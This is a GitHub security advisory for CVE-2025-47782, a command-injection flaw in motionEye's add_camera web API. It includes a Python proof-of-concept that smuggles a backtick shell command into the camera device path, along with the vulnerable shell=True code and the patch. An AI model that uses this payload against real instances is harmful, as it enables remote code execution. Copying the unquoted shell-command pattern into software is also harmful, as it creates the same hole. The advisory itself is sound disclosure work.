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motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution

High severity GitHub Reviewed Published May 14, 2025 in motioneye-project/motioneye • Updated May 15, 2025

Package

pip motioneye (pip)

Affected versions

>= 0.43.1b1, < 0.43.1b4

Patched versions

0.43.1b4

Description

Summary

Using a constructed (camera) device path with the config/add/add_camera motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, motion by default.

function call stack

  1. post
  2. add_camera
  3. config.add_camera
  4. v4l2ctl.list_resolutions
  5. utils.call_subprocess
  6. subprocess.run

PoC

build

RUN_USER="user"
RUN_UID=$(id -u ${RUN_USER})
RUN_GID=$(id -g ${RUN_USER})
TIMESTAMP="$(date '+%Y%m%d-%H%M')"

docker build \
  --network host \
  --build-arg="RUN_UID=${RUN_UID?}" \
  --build-arg="RUN_GID=${RUN_GID?}" \
  -t "${USER?}/motioneye:${TIMESTAMP}" \
  --no-cache \
  -f docker/Dockerfile .

reproduce

Run:

docker run --rm  -d   -p 8765:8765   --hostname="motioneye"   -v /etc/localtime:/etc/localtime:ro   -v /tmp/motioneyeconfig:/etc/motioneye   -v /tmp/motioneyeconfig:/var/lib/motioneye
bash-4.2$ docker logs ceb435eacf55 -f
configure_logging cmd motioneye: False
configure logging to file: None
    INFO: hello! this is motionEye server 0.43.1b3
   DEBUG: found motion executable "/usr/bin/motion" version "4.7.0"
   DEBUG: found ffmpeg executable "/usr/bin/ffmpeg" version "7.1.1-1+b1"
   DEBUG: listing config dir /etc/motioneye...
   DEBUG: found camera with id 1
   DEBUG: reading camera config from /etc/motioneye/camera-1.conf...
   DEBUG: loading additional config structure for camera, without separators
   DEBUG: Using selector: EpollSelector
   DEBUG: searching motion executable
   DEBUG: starting motion executable "/usr/bin/motion" version "4.7.0"
    INFO: cleanup started
    INFO: wsswitch started
    INFO: tasks started
    INFO: mjpg customer garbage collector has started
    INFO: server started

Now, run the following script to attack motionEye:

import requests
import json

url = "http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18"

payload = json.dumps({
  "proto": "v4l2",
  "path": "' `touch /tmp/bbbb` '"
})
headers = {
  'Content-Type': 'application/json'
}

response = requests.request("POST", url, headers=headers, data=payload)

print(response.text)

Image

Image

Discussion

It is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability

def list_resolutions(device):
    from motioneye import motionctl

    device = utils.make_str(device)

    if device in _resolutions_cache:
        return _resolutions_cache[device]

    logging.debug(f'listing resolutions of device {device}...')

    resolutions = set()
    output = b''
    started = time.time()
    cmd = f"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true"
    logging.debug(f'running command "{cmd}"')

    try:
        output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)
    except:
        logging.error(f'failed to list resolutions of device "{device}"')

    output = utils.make_str(output)

def call_subprocess(
    args,
    stdin=None,
    input=None,
    stdout=subprocess.PIPE,
    stderr=DEV_NULL,
    capture_output=False,
    shell=False,
    cwd=None,
    timeout=None,
    check=True,
    encoding='utf-8',
    errors=None,
    text=None,
    env=None,
) -> str:
    """subprocess.run wrapper to return output as a decoded string"""
    return subprocess.run(
        args,
        stdin=stdin,
        input=input,
        stdout=stdout,
        stderr=stderr,
        capture_output=capture_output,
        shell=shell,
        cwd=cwd,
        timeout=timeout,
        check=check,
        encoding=encoding,
        errors=errors,
        text=text,
        env=env,
    ).stdout.strip()

Impact

RCE

Patches

The vulnerability has been patch with motionEye v0.43.1b4: motioneye-project/motioneye#3143

Workarounds

Applying the following patch, replacing the literal single quotes in the created cmd string with a shlex.quoted input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch

References

motioneye-project/motioneye#3142

Credit

The vulnerability was discovered by Tencent YunDing Security Lab.

References

@MichaIng MichaIng published to motioneye-project/motioneye May 14, 2025
Published by the National Vulnerability Database May 14, 2025
Published to the GitHub Advisory Database May 15, 2025
Reviewed May 15, 2025
Last updated May 15, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(20th percentile)

Weaknesses

CVE ID

CVE-2025-47782

GHSA ID

GHSA-g5mq-prx7-c588

Source code

Credits

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